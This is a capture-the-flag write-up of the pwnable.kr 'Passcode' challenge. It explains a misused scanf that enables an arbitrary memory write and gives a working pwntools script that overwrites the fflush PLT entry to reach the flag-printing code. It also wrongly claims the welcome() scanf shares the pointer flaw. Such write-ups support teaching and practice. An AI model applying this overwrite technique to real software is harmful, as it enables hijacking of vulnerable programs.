Passcode Writeup (Pwnable.kr)


About Pwnable.kr

pwnable.kr is a free, non-commercial wargame site that hosts hands-on binary-exploitation challenges you solve by SSH’ing into remote challenge accounts, analysing provided binaries/source, and exploiting them to read flag files. It’s ideal for learning and practicing low-level hacking techniques (buffer overflows, format strings, heap/stack bugs) with community writeups and a ranking system.


Overview

Passcode is an easy/intermediate binary exploitation challenge from “pwnable.kr”. We’ll learn how to exploit badly implemented “scanf” and perform arbitrary memory write to redirect code execution and get the flag.


Accessing the binary

We can access the binary via SSH:

┌──(root㉿kali)-[/home/kali]
└─# ssh passcode@pwnable.kr -p2222
[password: guest]

Looking inside the current directory, we can see the binary, source code and the flag.

passcode@ubuntu:~$ ls -la
total 52
drwxr-x--- 5 root passcode 4096 Apr 19 2025 .
drwxr-xr-x 118 root root 4096 Jun 1 12:05 ..
d--------- 2 root root 4096 Jun 26 2014 .bash_history
-r--r----- 1 root passcode_pwn 42 Apr 19 2025 flag
dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
-rw------- 1 root root 1287 Jul 2 2022 .mysql_history
-r-xr-sr-x 1 root passcode_pwn 15232 Apr 19 2025 passcode
-rw-r--r-- 1 root root 892 Apr 19 2025 passcode.c
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-rw------- 1 root root 581 Jul 2 2022 .viminfo

I ran the “passcode” binary to see what it does. It was a login system. It asked me for my name and first passcode. Second passcode failed automatically.

passcode@ubuntu:~$ file passcode
passcode: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=e24d23d6babbfa731aaae3d50c6bb1c37dc9b0af, for GNU/Linux 3.2.0, not stripped
passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.1 beta.
enter you name : nooff
Welcome nooff!
enter passcode1 : pass123
enter passcode2 : checking...
Login Failed!


Analysing the source code

Let’s look at the source code.

Let’s break the code into smaller chunks and explain each bit separately for easier understanding.


1st part (”main” function):

int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

Prints message and calls other functions. Pretty straight forward.


2nd part (”welcome” function):

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

Asks for a name and saves the input into “name” variable. But there’s a flaw in the “scanf” function. It takes a pointer as argument, instead it’s given uninitialized variable. We’ll look at this later.


3rd part (”login” function):

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");

Asks for 2 passcodes. The same problem persists here with incorrect arguments in “scanf”. Notice that strange “fflush” function. Might be important later.


4th part (comparison):

if(passcode1==123456 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}

Classic comparison of 2 passcodes. If it succeeds, the flag will be given.

Normally, this would be a very easy challenge. We would just pass the correct values and get the flag. But the incorrect implementation of “scanf” causes a segmentation fault.


Discovering a way to overwrite arbitrary memory addresses via incorrect “scanf” implementation

So “scanf” causes problems. In fact, it can even be considered as vulnerability. ChatGPT has this to say about it:

ChatGPT’s explanation of the bug


Let’s see this in action. I’ll be using GDB debugger with GEF (GDB Enhanced Features) extension. I ran the program and entered correct values.

gef➤  r
Starting program: /home/kali/passcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Toddler's Secure Login System 1.1 beta.
enter you name : nooff
Welcome nooff!
enter passcode1 : 123456
enter passcode2 : 13371337

This will crash the program. We can see that it stopped at instruction that moves value to address pointed to by EDX:

value in EDX gets treated as a pointer as indicated by square brackets

If we look at registers, we can see that EDX points to complete gibberish (not a valid address).

Interesting thing is that the program crashed in the “login” function based on the traceback. Why not in the “welcome” function, where we have the same problem?


Another important realization is that the stack is being re-used by all functions. When the program takes garbage addresses (like EDX above), it can theoretically pick up leftovers from functions that where previously called. And if we go back to the source code, our buffer actually controls whole 100 bytes of the stack in the “welcome” function.

To test this, we can use “cyclic” to generate our input with pattern.

┌──(kali㉿kali)-[~]
└─$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

So I re-ran the program and entered the long string as name.

gef➤  r
Starting program: /home/kali/passcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Toddler's Secure Login System 1.1 beta.
enter you name : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Welcome aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!
enter passcode1 : 123456

We crash once again. But look at EDX.

last 4 bytes of our input made it to EDX register

Because of the bad “scanf”, program uses last 4 bytes of our buffer which was left on the stack by the previous function. And remember, that it gets treated as a pointer. That means that we now control WHAT to overwrite (passcode1) and WHERE to overwrite (EDX).


Exploiting the program by overwriting PLT entry, redirecting the code execution & getting the flag

We have to construct a plan. Simplest way to get the flag is to somehow redirect the code execution towards the flag read after the comparison. If we look back at the source code, we can see that weird “fflush” call.

This seems to suspicious. What if it’s there just to help us exploit this program. So our plan is to overwrite the “fflush” address with the flag read address, so when the program reaches this “fflush” call, it actually redirects the control flow and prints out the flag.


Let’s write Python Pwntools script that delivers the payload. But before writing the payload, we need memory addresses of “fflush” function and flag read code.

We can use “readelf” to get information about the binary like headers or symbols.

┌──(kali㉿kali)-[~]
└─$ readelf -a passcode

In the PLT (Procedural Linkage Table) section, we can find the address of “fflush” from GLIBC.

discovering offset of “fflush” function in PLT

To see disassembled code, we can use “objdump”.

┌──(kali㉿kali)-[~]
└─$ objdump -d passcode -M intel

Finding the “login” function and going through the code, we can find a spot just after the comparison with flag read code coming up next.

discovering address of flag read code
flush_addr = 0x0804c014 (WHERE to overwrite)
flag_addr = 0x0804928f (WHAT to overwrite)


Now we’re ready to write the exploit. We append the “flush_addr” to our first 100-byte buffer. The “flag_addr” goes into the second buffer as string. You can use this script below.

from pwn import *

# Set up context
context.binary = ELF('./passcode') # Update with the actual binary
context.log_level = 'debug' # Change to 'info' or 'warning' for less verbosity

def start_local(argv=[], *a, **kw):
"""Start the process locally."""
return process([context.binary.path] + argv, *a, **kw)

# Start the exploit
io = start_local()

flush_addr = 0x0804c014
flag_addr = 0x0804928f

# Send the payload
io.sendline(b"A"*96 + p32(flush_addr))
io.sendline(str(flag_addr))

# Prints out the response
io.recvall()

When we run the script on local binary, we can see that it failed because it can’t find the flag on our system, which is still good, because it means that our exploit works. Thanks to debug context, we can see the payload and responses byte by byte.

But we want to get the flag from Pwnable server. Luckily, we can use Python to craft our input.

Note: The second address has to be in decimal, not in hex.

And that’s the Passcode challenge done!


Summary & final thoughts

Passcode is an easy/intermediate binary exploitation challenge from “pwnable.kr”. This one is definitely one of hardest easy challenges on the platform. We have to chain multiple vulnerabilities to achieve arbitrary write and successfully exploit the program. Firstly, we identified bad implementation of “scanf”. Secondly, we identified that we can control where does a function write with our buffer. Thirdly, we overwrote PLT function address and redirected the code flow towards the flag read.

In my opinion, very interesting and well made challenge. Covers multiple important binary exploitation concepts. Still on easier side, though. I’d recommend this one to more experienced hackers because of the small chain, but persistent beginners can learn a lot, too.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)